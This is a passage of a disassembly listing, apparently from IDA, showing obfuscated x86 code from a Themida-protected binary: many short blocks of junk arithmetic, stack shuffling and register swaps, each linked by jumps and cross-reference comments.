		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		pop	esp
		jmp	loc_56057E
; ---------------------------------------------------------------------------


loc_56D246:				; CODE XREF: Themida_:005603D7j
		mov	edi, edx
		pop	edx
		or	eax, edi
		pop	edi
		add	eax, 0D4CEE68Ah
		jmp	loc_560917
; ---------------------------------------------------------------------------


loc_56D256:				; CODE XREF: Themida_:0056D4B6j
		push	dword ptr [esp+4]
		jmp	loc_5659D1
; ---------------------------------------------------------------------------


loc_56D25F:				; CODE XREF: Themida_:00572E10j
		mov	edx, 0EFC0BCBh
		add	edx, 3FD31BEAh
		jmp	loc_57215D
; ---------------------------------------------------------------------------
		push	esi
		jmp	loc_56450A
; ---------------------------------------------------------------------------


loc_56D275:				; CODE XREF: Themida_:0056FB72j
		pop	eax
		jmp	loc_572C3D
; ---------------------------------------------------------------------------


loc_56D27B:				; CODE XREF: Themida_:00568D56j
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		push	ecx
		jmp	loc_56C552
; ---------------------------------------------------------------------------


loc_56D28F:				; CODE XREF: Themida_:005681CDj
		mov	[esp], esp
		add	dword ptr [esp], 4
		jmp	loc_56D596
; ---------------------------------------------------------------------------


loc_56D29E:				; CODE XREF: Themida_:0055F588j
		push	ebp
		jmp	loc_57153A
; ---------------------------------------------------------------------------


loc_56D2A4:				; CODE XREF: Themida_:0056C248j
		xor	esi, edx
		xor	edx, esi
		push	esi
		xchg	edx, [esp]
		not	edx
		xchg	edx, [esp]
		mov	esi, [esp]
		push	edi
		jmp	loc_562FE9
; ---------------------------------------------------------------------------


loc_56D2BA:				; CODE XREF: Themida_:00563B89j
		push	edx
		mov	edx, 2
		add	ebp, 8E6445Eh
		add	ebp, edx
		sub	ebp, 8E6445Eh
		pop	edx
		push	ebp
		push	dword ptr [esp+4]
		jmp	loc_570688
; ---------------------------------------------------------------------------


loc_56D2D9:				; CODE XREF: Themida_:0056C7CCj
		mov	edx, 21DC30F7h
		push	79C1h
		mov	[esp], esi
		mov	esi, 0F553C383h
		jmp	loc_560AC2
; ---------------------------------------------------------------------------


loc_56D2F0:				; CODE XREF: Themida_:0056FBE2j
		add	esp, 4
		push	ebp
		mov	ebp, 2
		add	edi, ebp
		mov	ebp, [esp]
		push	0D01h
		mov	[esp], eax
		mov	eax, esp
		add	eax, 4
		push	esi
		mov	esi, 4
		add	eax, esi
		pop	esi
		xchg	eax, [esp]
		mov	esp, [esp]
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		mov	esp, [esp]
		jmp	loc_56F5F7
; ---------------------------------------------------------------------------


loc_56D330:				; CODE XREF: Themida_:0056899Cj
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 468034BCh
		sub	esp, 4
		mov	[esp], esi
		push	32CAh
		mov	[esp], edx
		mov	edx, 4EC41B4Fh
		mov	esi, 18A64EA6h
		xor	esi, 1615528Dh
		jmp	loc_5634BB
; ---------------------------------------------------------------------------


loc_56D361:				; CODE XREF: Themida_:00563804j
		pop	dword ptr [esp]
		pop	esp
		div	ecx
		push	0FAAh
		mov	[esp], edi
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	edi
		jmp	loc_572F11
; ---------------------------------------------------------------------------


loc_56D382:				; CODE XREF: Themida_:0056D807j
		mov	ah, 0
		mov	bl, 13h
		sub	bl, 12h
		add	bl, ah
		add	bl, 12h
		pop	eax
		shr	bl, 8
		xor	bl, 23h
		or	bl, 8Eh
		push	ecx
		mov	cl, 0C1h
		jmp	loc_569B09
; ---------------------------------------------------------------------------
		dd 7795E9ACh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56D3A6:				; CODE XREF: Themida_:0056C54Dj
		push	1C9Bh
		mov	[esp], edi
		push	dword ptr [esp+4]
		jmp	loc_57273F
; ---------------------------------------------------------------------------


loc_56D3B7:				; CODE XREF: Themida_:005687EEj
		add	bl, al
		add	bl, 0A0h
		jmp	loc_57059E
; ---------------------------------------------------------------------------


loc_56D3C1:				; CODE XREF: Themida_:00567887j
		xor	ebp, edx
		pop	edx
		add	eax, ebp
		pop	ebp
		jmp	loc_56C0CF
; ---------------------------------------------------------------------------


loc_56D3CC:				; CODE XREF: Themida_:00564C37j
		sub	ebp, 25266BD4h
		pop	edx
		xor	ecx, ebp
		pop	ebp
		push	0D71h
		mov	[esp], edi
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 48F70827h
		add	dword ptr [esp+4], 2E6475DCh
		add	[esp+4], esi
		sub	dword ptr [esp+4], 2E6475DCh
		jmp	loc_56E0B7
; ---------------------------------------------------------------------------


loc_56D405:				; CODE XREF: Themida_:0056A557j
		mov	si, 0B371h
		xor	dx, si
		jmp	loc_56F9CF
; ---------------------------------------------------------------------------


loc_56D411:				; CODE XREF: Themida_:00564272j
		not	eax
		add	eax, 2CACF543h
		add	esi, 619E3C7Fh
		jmp	loc_56F6A9
; ---------------------------------------------------------------------------


loc_56D423:				; CODE XREF: Themida_:00574580j
		add	eax, 29EA11C5h
		sub	eax, ebx
		sub	eax, 29EA11C5h
		pop	ebx
		push	edx
		jmp	loc_573E5D
; ---------------------------------------------------------------------------


loc_56D436:				; CODE XREF: Themida_:005662DCj
		mov	ebx, eax
		jmp	loc_562872
; ---------------------------------------------------------------------------


loc_56D43D:				; CODE XREF: Themida_:0056E335j
		mov	[esp], esi
		push	ebx
		jmp	loc_55FC1C
; ---------------------------------------------------------------------------


loc_56D446:				; CODE XREF: Themida_:00564073j
		push	126h
		mov	[esp], ecx
		push	ebp
		push	28CB7DC9h
		pop	ebp
		inc	ebp
		push	edx
		mov	edx, 0FFFFFFFFh
		sub	ebp, edx
		pop	edx
		xor	ebp, 618160D9h
		xor	ebp, 494A1D16h
		mov	ecx, ebp
		jmp	loc_5701D2
; ---------------------------------------------------------------------------


loc_56D472:				; CODE XREF: Themida_:0055F71Ej
		add	esp, 4
		push	eax
		mov	ah, dl
		mov	bl, ah
		jmp	loc_562CC2
; ---------------------------------------------------------------------------


loc_56D482:				; CODE XREF: Themida_:0056832Bj
		xchg	ecx, [esp]
		pop	esp
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		jmp	loc_55F55C
; ---------------------------------------------------------------------------


loc_56D492:				; CODE XREF: Themida_:00564C9Dj
		not	eax
		not	eax
		xor	eax, 78B221CCh
		add	ebx, eax
		pop	eax
		sub	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], edx
		mov	edx, 716E09B8h
		jmp	loc_568AE5
; ---------------------------------------------------------------------------


loc_56D4B2:				; CODE XREF: Themida_:005718D8j
		add	esp, 4
		push	ebp
		jmp	loc_56D256
; ---------------------------------------------------------------------------


loc_56D4BB:				; CODE XREF: Themida_:005681EAj
		push	719Ch
		mov	[esp], edx
		push	308Dh
		jmp	loc_57146E
; ---------------------------------------------------------------------------


loc_56D4CD:				; CODE XREF: Themida_:0056AAEBj
		add	esp, 4
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], ecx
		jmp	loc_55F55C
; ---------------------------------------------------------------------------


loc_56D4DC:				; CODE XREF: Themida_:0056C5C7j
		shl	ecx, 1
		push	ebp
		mov	ebp, 11BC638Ah
		push	eax
		mov	eax, 1
		sub	ebp, eax
		pop	eax
		push	edi
		push	esi
		push	38CB3CFBh
		pop	esi
		shl	esi, 6
		push	edx
		mov	edx, 41942FA7h
		sub	edx, 67EB5108h
		jmp	loc_56DFC1
; ---------------------------------------------------------------------------


loc_56D509:				; CODE XREF: Themida_:00569DE8j
		add	esi, 1F0E7B27h
		dec	esi
		push	eax
		jmp	loc_560793
; ---------------------------------------------------------------------------


loc_56D516:				; CODE XREF: Themida_:0056930Aj
		xor	edi, 44A2A409h
		jmp	loc_570709
; ---------------------------------------------------------------------------


loc_56D521:				; CODE XREF: Themida_:0056BD22j
		pop	esi
		xor	[esp+4], eax
		pop	eax
		jmp	loc_56DECE
; ---------------------------------------------------------------------------


loc_56D52C:				; CODE XREF: Themida_:00570371j
		push	esp
		pop	ecx
		jmp	loc_568ABC
; ---------------------------------------------------------------------------


loc_56D533:				; CODE XREF: Themida_:0055F831j
		mov	cl, 5Bh
		mov	ah, cl
		pop	ecx
		mov	bh, ah
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		push	ebx
		mov	bh, 0Ah
		sub	bh, 17h
		sub	al, bh
		pop	ebx
		push	ebx
		mov	bh, 9Dh
		dec	bh
		not	bh
		xchg	ah, bh
		not	ah
		xchg	ah, bh
		push	edx
		mov	dl, bh
		not	dl
		mov	bh, dl
		pop	edx
		jmp	loc_56133E
; ---------------------------------------------------------------------------


loc_56D564:				; CODE XREF: Themida_:00563A3Fj
		push	6EF5h
		mov	[esp], ebx
		not	dword ptr [esp]
		pop	ebx
		push	esi
		push	50A1h
		mov	[esp], ebx
		push	dword ptr [esp]
		pop	esi
		jmp	loc_56A48D
; ---------------------------------------------------------------------------


loc_56D582:				; CODE XREF: Themida_:00569478j
		mov	edi, 2
		push	eax
		push	ecx
		push	edi
		sub	dword ptr [esp], 6D64244Eh
		jmp	loc_564118
; ---------------------------------------------------------------------------


loc_56D596:				; CODE XREF: Themida_:0056D299j
		mov	ebp, [esp]
		add	esp, 4
		push	esi
		mov	esi, 1ED765A0h
		add	esi, 0E1289A64h
		add	ebp, esi
		pop	esi
		push	ecx
		jmp	loc_563371
; ---------------------------------------------------------------------------


loc_56D5B4:				; CODE XREF: Themida_:0056269Cj
		sub	ebx, 28071441h
		jmp	loc_55FF7C
; ---------------------------------------------------------------------------


loc_56D5BF:				; CODE XREF: Themida_:00573713j
		dec	bh
		add	bh, 53h
		xor	cl, bh
		pop	ebx
		jmp	loc_568B2E
; ---------------------------------------------------------------------------
		mov	ecx, [esp]
		push	2368h
		jmp	loc_5709D5
; ---------------------------------------------------------------------------


loc_56D5D9:				; CODE XREF: Themida_:00565A7Bj
		mov	esi, edx
		mov	edx, [esp]
		add	esp, 4
		add	ebx, esi
		mov	esi, [esp]
		add	esp, 4
		push	ebx
		add	dword ptr [esp], 5CC45AFFh
		mov	ecx, [esp]
		add	esp, 4
		sub	ecx, 5CC45AFFh
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_565D76
; ---------------------------------------------------------------------------


loc_56D611:				; CODE XREF: Themida_:005654D7j
		pop	esi
		neg	edx
		and	edx, 7E223997h
		sub	edx, 18C5A318h
		jmp	loc_564AB8
; ---------------------------------------------------------------------------


loc_56D625:				; CODE XREF: Themida_:00571C3Cj
		push	edi
		push	ebp
		push	ecx
		jmp	loc_56EE60
; ---------------------------------------------------------------------------


loc_56D62D:				; CODE XREF: Themida_:0056CB40j
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xor	ebx, [esp]
		xor	[esp], ebx
		jmp	loc_5707E0
; ---------------------------------------------------------------------------


loc_56D64C:				; CODE XREF: Themida_:0057161Bj
		add	eax, 5EB7BF4h
		sub	eax, 1CDF1639h
		add	eax, 2299743Eh
		sub	eax, esi
		sub	eax, 2299743Eh
		add	eax, 1CDF1639h
		push	ebp
		mov	ebp, 5EB7BF4h
		sub	eax, ebp
		pop	ebp
		push	esi
		jmp	loc_56C696
; ---------------------------------------------------------------------------


loc_56D676:				; CODE XREF: Themida_:00563F09j
		push	ebx
		push	dword ptr [esp+4]
		pop	ebx
		jmp	loc_563A65
; ---------------------------------------------------------------------------


loc_56D681:				; CODE XREF: Themida_:0056FBA5j
		mov	edi, 19460C38h
		mov	ebp, edi
		jmp	loc_572387
; ---------------------------------------------------------------------------


loc_56D68D:				; CODE XREF: Themida_:0056D7DBj
		mov	ebp, eax
		pop	eax
		mov	ecx, 20D5AB4Fh
		add	ecx, ebp
		pop	ebp
		push	esi
		push	45D7CF9h
		mov	esi, [esp]
		add	esp, 4
		and	esi, 5B830C31h
		shr	esi, 6
		push	edx
		jmp	loc_567F38
; ---------------------------------------------------------------------------


loc_56D6B6:				; CODE XREF: Themida_:005727E8j
		xor	edx, [esp]
		pop	esp
		sub	esp, 4
		jmp	loc_564CA2
; ---------------------------------------------------------------------------


loc_56D6C2:				; CODE XREF: Themida_:00572FC7j
		mov	esp, [esp]
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		mov	esp, [esp]
		jmp	loc_570C70
; ---------------------------------------------------------------------------


loc_56D6D6:				; CODE XREF: Themida_:00565A97j
		pop	esi
		jmp	loc_56F05E
; ---------------------------------------------------------------------------


loc_56D6DC:				; CODE XREF: Themida_:00573BDFj
		add	bl, 9Dh
		pop	ax
		sub	al, bl
		pop	ebx
		jmp	loc_570CB9
; ---------------------------------------------------------------------------


loc_56D6E9:				; CODE XREF: Themida_:00574443j
		mov	cx, [esp]
		add	esp, 2
		push	edx
		mov	dh, 45h
		sub	dh, 0EBh
		and	dh, 38h
		jmp	loc_564374
; ---------------------------------------------------------------------------


loc_56D701:				; CODE XREF: Themida_:0056C42Ej
		xchg	edx, [esp]
		jmp	loc_565FA1
; ---------------------------------------------------------------------------


loc_56D709:				; CODE XREF: Themida_:0056DDB0j
		push	ebp
		jmp	loc_563E06
; ---------------------------------------------------------------------------


loc_56D70F:				; CODE XREF: Themida_:0056075Fj
		push	esi
		neg	dword ptr [esp]
		pop	esi
		sub	esi, 3CB86AF7h
		add	esi, 58382849h
		add	esi, 78A608A9h
		push	eax
		mov	eax, 0E651D3Ch
		jmp	loc_56724F
; ---------------------------------------------------------------------------


loc_56D731:				; CODE XREF: Themida_:0056D0A3j
		add	esp, 4
		jmp	loc_568C2B
; ---------------------------------------------------------------------------


loc_56D739:				; CODE XREF: Themida_:00570D75j
		pop	esp
		mov	[esp], eax
		mov	eax, esp
		add	eax, 4
		push	4FF8h
		mov	[esp], ebp
		mov	ebp, 209D302Fh
		and	ebp, 7E077AF8h
		push	ebp
		not	dword ptr [esp]
		jmp	loc_56C904
; ---------------------------------------------------------------------------


loc_56D760:				; CODE XREF: Themida_:0056B5D4j
		sub	edx, esi
		pop	esi
		sub	ebx, 677704Fh
		sub	ebx, edx
		jmp	loc_573C12
; ---------------------------------------------------------------------------


loc_56D770:				; CODE XREF: Themida_:0056FD97j
		mov	esi, 48F05DF8h
		sub	eax, esi
		pop	esi
		add	eax, ebp
		add	eax, 48F05DF8h
		pop	ebp
		add	eax, 4
		xchg	eax, [esp]
		mov	esp, [esp]
		push	ebp
		push	4E064BB6h
		pop	ebp
		shl	ebp, 6
		inc	ebp
		jmp	loc_56E907
; ---------------------------------------------------------------------------


loc_56D79B:				; CODE XREF: Themida_:00573D85j
		pop	edx
		xor	ecx, ebx
		pop	ebx
		add	eax, ecx
		jmp	loc_56232B
; ---------------------------------------------------------------------------


loc_56D7A6:				; CODE XREF: Themida_:00573D13j
		xchg	edi, edx
		neg	edi
		jmp	loc_56F56A
; ---------------------------------------------------------------------------


loc_56D7AF:				; CODE XREF: Themida_:00563096j
		xchg	ebp, [esp]
		mov	edi, [esp]
		jmp	loc_566093
; ---------------------------------------------------------------------------
		push	bx
		push	small word ptr [esp+2]
		jmp	loc_5600B9
; ---------------------------------------------------------------------------


loc_56D7C6:				; CODE XREF: Themida_:005638AFj
		mov	[esp], ecx
		push	ebp
		push	eax
		mov	eax, 9003D68h
		not	eax
		neg	eax
		not	eax
		add	eax, 3941B9D8h
		jmp	loc_56D68D
; ---------------------------------------------------------------------------


loc_56D7E0:				; CODE XREF: Themida_:0056AA59j
		mov	edx, esp
		jmp	loc_56B369
; ---------------------------------------------------------------------------


loc_56D7E7:				; CODE XREF: Themida_:00567B1Fj
		mov	[esp], esi
		mov	esi, ecx
		mov	ebx, esi
		pop	esi
		pop	ecx
		xor	esi, ebx
		jmp	loc_56BBF9
; ---------------------------------------------------------------------------


loc_56D7F7:				; CODE XREF: Themida_:0055F968j
		shr	bl, 2
		jmp	loc_561628
; ---------------------------------------------------------------------------


loc_56D7FF:				; CODE XREF: Themida_:00568B41j
		push	74C2h
		mov	[esp], eax
		jmp	loc_56D382
; ---------------------------------------------------------------------------


loc_56D80C:				; CODE XREF: Themida_:0056A3CDj
		sub	eax, ebp
		jmp	loc_567F9C
; ---------------------------------------------------------------------------


loc_56D813:				; CODE XREF: Themida_:005633A3j
		pop	edi
		add	ebx, 64A233F3h
		jmp	loc_568D0A
; ---------------------------------------------------------------------------


loc_56D81F:				; CODE XREF: Themida_:0056C9A5j
		add	ebp, 4
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 4
		add	ebp, ecx
		jmp	loc_572E90
; ---------------------------------------------------------------------------


loc_56D83A:				; CODE XREF: Themida_:00561C5Aj
		push	esi
		mov	esi, esp
		add	esi, 4
		jmp	loc_565DE0
; ---------------------------------------------------------------------------


loc_56D848:				; CODE XREF: Themida_:0056C263j
		push	dword ptr [esp+4]
		pop	eax
		jmp	loc_573184
; ---------------------------------------------------------------------------


loc_56D852:				; CODE XREF: Themida_:00571400j
		mov	edx, 4991144h
		xor	eax, edx
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_56C204
; ---------------------------------------------------------------------------


loc_56D867:				; CODE XREF: Themida_:00569406j
		neg	esi
		push	eax
		jmp	loc_56AB68
; ---------------------------------------------------------------------------


loc_56D86F:				; CODE XREF: Themida_:00573291j
		movsx	ecx, ax
		push	2B58h
		mov	[esp], ecx
		jmp	loc_55F55C
; ---------------------------------------------------------------------------


loc_56D87F:				; CODE XREF: Themida_:005609EEj
		pop	esi
		not	esi
		push	eax
		jmp	loc_561F40
; ---------------------------------------------------------------------------


loc_56D888:				; CODE XREF: Themida_:0056FE8Aj
		add	esp, 4
		pop	ebx
		xor	eax, ecx
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		push	126Ah
		jmp	loc_56BA61
; ---------------------------------------------------------------------------


loc_56D8A5:				; CODE XREF: Themida_:0056317Aj
		dec	cl
		jmp	loc_566ADA
; ---------------------------------------------------------------------------


loc_56D8AC:				; CODE XREF: Themida_:0056F6FBj
		neg	ebx
		xchg	ebx, [esp]
		mov	ebp, [esp]
		push	ebx
		mov	ebx, esp
		jmp	loc_566951
; ---------------------------------------------------------------------------


loc_56D8BC:				; CODE XREF: Themida_:0056518Ej
		mov	edi, 0FFFFFFFFh
		sub	[esp+4], edi
		pop	edi
		pop	ebp
		jmp	loc_57214B
; ---------------------------------------------------------------------------


loc_56D8CC:				; CODE XREF: Themida_:0056BA05j
		sub	edx, 4E213FE1h
		add	edx, 684E20F0h
		pop	ebx
		xchg	edx, [esp]
		pop	esp
		mov	edx, ebx
		pop	ebx
		sub	ebx, 31457F27h
		add	ebx, edx
		push	esi
		mov	esi, 4A084070h
		not	esi
		not	esi
		sub	esi, 1E3A1CFCh
		shr	esi, 2
		jmp	loc_562E5A
; ---------------------------------------------------------------------------


loc_56D900:				; CODE XREF: Themida_:005726EBj
		and	ebp, 502E6AE7h
		push	eax
		mov	eax, 247703C2h
		and	ebp, eax
		pop	eax
		push	ecx
		mov	ecx, 254237D2h
		shl	ecx, 8
		not	ecx
		neg	ecx
		sub	ecx, 5F57042Bh
		add	ecx, 2E079492h
		xor	ebp, ecx
		pop	ecx
		add	ebp, 47DBE183h
		dec	ebp
		not	ebp
		neg	ebp
		push	52E3h
		mov	[esp], ebp
		jmp	loc_56518D
; ---------------------------------------------------------------------------


loc_56D943:				; CODE XREF: Themida_:00568A6Fj
		push	esp
		pop	dword ptr [esp]
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 4
		jmp	loc_564CD4
; ---------------------------------------------------------------------------


loc_56D957:				; CODE XREF: Themida_:0056C687j
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ebp
		add	ebp, 4
		sub	esp, 4
		mov	[esp], ecx
		push	eax
		mov	eax, 7B9E037Ah
		inc	eax
		dec	eax
		jmp	loc_5717CE
; ---------------------------------------------------------------------------


loc_56D97E:				; CODE XREF: Themida_:00567B4Aj
		mov	ebp, ecx
		pop	ecx
		add	ebp, 0FFFFFFFFh
		push	edi
		mov	edi, 47B43255h
		jmp	loc_5709AF
; ---------------------------------------------------------------------------


loc_56D98F:				; CODE XREF: Themida_:0057364Aj
		push	dword ptr [esp]
		pop	ebx
		push	ecx
		mov	ecx, esp
		push	eax
		jmp	loc_56D0E2
; ---------------------------------------------------------------------------


loc_56D99C:				; CODE XREF: Themida_:00567240j
		add	al, bl
		mov	ebx, [esp]
		add	esp, 4
		push	small 2990h
		mov	[esp], dx
		push	5DFAh
		mov	[esp], ecx
		jmp	loc_566B36
; ---------------------------------------------------------------------------


loc_56D9BC:				; CODE XREF: Themida_:0056614Fj
		pop	dx
		mov	ebx, [esp]
		jmp	loc_567673
; ---------------------------------------------------------------------------


loc_56D9C6:				; CODE XREF: Themida_:00569F73j
		sub	edx, 75FB795Dh
		sub	esp, 4
		mov	[esp], eax
		jmp	loc_56DCDB
; ---------------------------------------------------------------------------


loc_56D9D7:				; CODE XREF: Themida_:00572A41j
		mov	esi, [esp]
		sub	esp, 4
		mov	[esp], esi
		mov	esi, esp
		add	esi, 4
		jmp	loc_561306
; ---------------------------------------------------------------------------


loc_56D9ED:				; CODE XREF: Themida_:0056F59Ej
		pop	esp
		push	ebx
		push	dword ptr [esp+4]
		pop	ebx
		pop	dword ptr [esp]
		jmp	loc_572E3E
; ---------------------------------------------------------------------------


loc_56D9FC:				; CODE XREF: Themida_:00562CB7j
		mov	[esp], ebp
		add	dword ptr [esp], 3BCF4C59h
		jmp	loc_570BCC
; ---------------------------------------------------------------------------


loc_56DA0B:				; CODE XREF: Themida_:0056A142j
		mov	ebp, 15AD1FC0h
		add	ebp, 63541706h
		jmp	loc_5611ED
; ---------------------------------------------------------------------------


loc_56DA1B:				; CODE XREF: Themida_:0056DEF4j
		mov	esi, 57FB313Fh
		shr	esi, 6
		jmp	loc_563CC7
; ---------------------------------------------------------------------------


loc_56DA28:				; CODE XREF: Themida_:0056EA4Fj
		sub	edi, 0E2A25DDh
		add	ecx, edi
		pop	edi
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		push	esi
		mov	esi, 72E719C1h
		jmp	loc_568942
; ---------------------------------------------------------------------------


loc_56DA46:				; CODE XREF: Themida_:00571F05j
		xchg	esi, [esp]
		jmp	loc_5622AA
; ---------------------------------------------------------------------------


loc_56DA4E:				; CODE XREF: Themida_:0056A687j
		or	ecx, 7BB03B07h
		sub	ecx, 36AE4181h
		shl	ecx, 8
		xor	ecx, 332767BAh
		add	ecx, 0C3E57646h
		mov	eax, ecx
		pop	ecx
		sub	eax, edx
		jmp	loc_561463
; ---------------------------------------------------------------------------


loc_56DA73:				; CODE XREF: Themida_:005643E6j
		shl	ebx, 1
		xor	ebx, 5BD36A26h
		jmp	loc_56DE22
; ---------------------------------------------------------------------------


loc_56DA80:				; CODE XREF: Themida_:0056838Bj
		mov	edi, 0E58D9050h
		add	ebp, edi
		pop	edi
		sub	ecx, ebp
		pop	ebp
		jmp	loc_562150
; ---------------------------------------------------------------------------


loc_56DA90:				; CODE XREF: Themida_:005697EAj
		mov	[esp], eax
		mov	eax, 525919B2h
		push	ebp
		mov	ebp, 14D76FF5h
		jmp	loc_569BB6
; ---------------------------------------------------------------------------


loc_56DAA3:				; CODE XREF: Themida_:0056242Fj
		pop	esi
		jmp	loc_5615D0
; ---------------------------------------------------------------------------


loc_56DAA9:				; CODE XREF: Themida_:0055FEDBj
		mov	ecx, [esp]
		add	esp, 4
		push	eax
		mov	eax, esp
		jmp	loc_56FD88
; ---------------------------------------------------------------------------


loc_56DABA:				; CODE XREF: Themida_:00573078j
		sub	eax, 588B09DAh
		push	ecx
		mov	ecx, 4FF25C89h
		push	ebx
		mov	ebx, 5B621F81h
		or	ecx, ebx
		pop	ebx
		shl	ecx, 1
		jmp	loc_57073D
; ---------------------------------------------------------------------------


loc_56DAD5:				; CODE XREF: Themida_:0056B038j
		push	74CBh
		jmp	loc_56B291
; ---------------------------------------------------------------------------


loc_56DADF:				; CODE XREF: Themida_:00572604j
		pop	eax
		and	dl, 51h
		jmp	loc_565C53
; ---------------------------------------------------------------------------


loc_56DAE8:				; CODE XREF: Themida_:0056618Bj
		mov	ecx, esp
		add	ecx, 4
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_56313D
; ---------------------------------------------------------------------------


loc_56DAFB:				; CODE XREF: Themida_:00572CD0j
		mov	ebx, edx
		jmp	loc_56869C
; ---------------------------------------------------------------------------


loc_56DB02:				; CODE XREF: Themida_:00574392j
		xchg	esi, [esp]
		pop	esp
		mov	[esp], edi
		push	eax
		jmp	loc_569C64
; ---------------------------------------------------------------------------


loc_56DB0F:				; CODE XREF: Themida_:0056B17Aj
		sub	edi, 648A2184h
		pop	ebp
		add	eax, edi
		push	dword ptr [esp]
		pop	edi
		push	4F1h
		mov	[esp], eax
		jmp	loc_5602CE
; ---------------------------------------------------------------------------


loc_56DB29:				; CODE XREF: Themida_:0056E530j
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		mov	esp, [esp]
		sub	esp, 4
		mov	[esp], ebp
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ebp
		add	ebp, 4
		push	edx
		push	4
		mov	edx, [esp]
		jmp	loc_56142F
; ---------------------------------------------------------------------------


loc_56DB5A:				; CODE XREF: Themida_:00568D18j
		add	edx, 0DB236BAh
		shr	edx, 2
		shr	edx, 5
		push	esi
		mov	esi, 766662B7h
		jmp	loc_57459B
; ---------------------------------------------------------------------------


loc_56DB71:				; CODE XREF: Themida_:0056564Bj
		mov	ah, 0FFh
		add	[esp+4], ah
		pop	eax
		pop	ecx
		push	eax
		mov	ah, 0BFh
		add	cl, ah
		pop	eax
		push	bx
		mov	bl, 0DCh
		or	cl, bl
		pop	bx
		jmp	loc_57101A
; ---------------------------------------------------------------------------


loc_56DB8C:				; CODE XREF: Themida_:0056EC64j
		push	esp
		pop	ebx
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		jmp	loc_564AF3
; ---------------------------------------------------------------------------


loc_56DBA0:				; CODE XREF: Themida_:005729D1j
		add	esi, 4F001FBFh
		shr	esi, 2
		sub	esi, 0B8B683ECh
		and	edi, esi
		pop	esi
		push	ebp
		mov	ebp, 4C6F59FEh
		or	ebp, 311CEFh
		xor	ebp, 28EF59FEh
		jmp	loc_56AE55
; ---------------------------------------------------------------------------


loc_56DBC9:				; CODE XREF: Themida_:00570B36j
		sub	edi, ecx
		pop	ecx
		add	esi, edi
		jmp	loc_56379C
; ---------------------------------------------------------------------------


loc_56DBD3:				; CODE XREF: Themida_:0056B423j
		sub	bl, cl
		push	ax
		mov	al, 0FBh
		add	bl, al
		pop	ax
		mov	ecx, [esp]
		add	esp, 4
		pop	eax
		sub	bl, al
		push	eax
		mov	ah, 0C5h
		push	cx
		jmp	loc_55FAD7
; ---------------------------------------------------------------------------


loc_56DBF3:				; CODE XREF: Themida_:0055FAD9j
		or	ah, cl
		mov	cx, [esp]
		jmp	loc_56A445
; ---------------------------------------------------------------------------


loc_56DBFE:				; CODE XREF: Themida_:0056A904j
		push	5703h
		mov	[esp], edi
		jmp	loc_572898
; ---------------------------------------------------------------------------


loc_56DC0B:				; CODE XREF: Themida_:0056613Ej
		xchg	esi, [esp]
		pop	esp
		mov	[esp], ebp
		mov	ebp, 4D767EA7h
		and	esi, ebp
		pop	ebp
		shl	esi, 5
		jmp	loc_568293
; ---------------------------------------------------------------------------


loc_56DC22:				; CODE XREF: Themida_:00567AC5j
		mov	ebp, 544A190Dh
		jmp	loc_573B24
; ---------------------------------------------------------------------------


loc_56DC2C:				; CODE XREF: Themida_:0056AE17j
		mov	[esp], edx
		mov	edx, 499C5903h
		inc	edx
		not	edx
		add	edx, 61253944h
		xor	edx, 3BE0A684h
		add	edi, edx
		jmp	loc_5701B1
; ---------------------------------------------------------------------------


loc_56DC4A:				; CODE XREF: Themida_:0056F166j
		push	ebx
		mov	ebx, 2FDD2BCBh
		dec	ebx
		and	ebx, 706D2C67h
		push	edi
		jmp	loc_56C2B0
; ---------------------------------------------------------------------------


loc_56DC5D:				; CODE XREF: Themida_:005616B4j
		add	[esp], eax
		sub	dword ptr [esp], 1B224CCEh
		push	edi
		push	eax
		jmp	loc_56BCB3
; ---------------------------------------------------------------------------


loc_56DC6E:				; CODE XREF: Themida_:00566A6Aj
		jmp	loc_55F55C
; ---------------------------------------------------------------------------
		lodsd
		push	edi
		mov	edi, 3A707CE9h
		neg	edi
		jmp	loc_562CE5
; ---------------------------------------------------------------------------


loc_56DC81:				; CODE XREF: Themida_:00572196j
		mov	edi, 4839730Eh
		sub	ebp, edi
		pop	edi
		add	ebp, ecx
		add	ebp, 4839730Eh
		pop	ecx
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		mov	esp, [esp]
		jmp	loc_56EECB
; ---------------------------------------------------------------------------


loc_56DCA3:				; CODE XREF: Themida_:0056C44Dj
		sub	bl, dh
		mov	edx, [esp]
		add	esp, 4
		sub	bl, 76h
		add	bl, 0CAh
		jmp	loc_5622CC
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		push	dword ptr [esp]
		jmp	loc_5694FE
; ---------------------------------------------------------------------------


loc_56DCC1:				; CODE XREF: Themida_:00563D35j
		shr	ebp, 7
		sub	ebp, 7970679Bh
		shl	ebp, 4
		jmp	loc_5627FC
; ---------------------------------------------------------------------------


loc_56DCD2:				; CODE XREF: Themida_:005687E6j
		mov	dx, 3160h
		jmp	loc_560A5F
; ---------------------------------------------------------------------------


loc_56DCDB:				; CODE XREF: Themida_:0056D9D2j
		mov	eax, 5BBC2AE7h
		add	edi, eax
		mov	eax, [esp]
		add	esp, 4
		add	edi, 271B0CBCh
		jmp	loc_5684ED
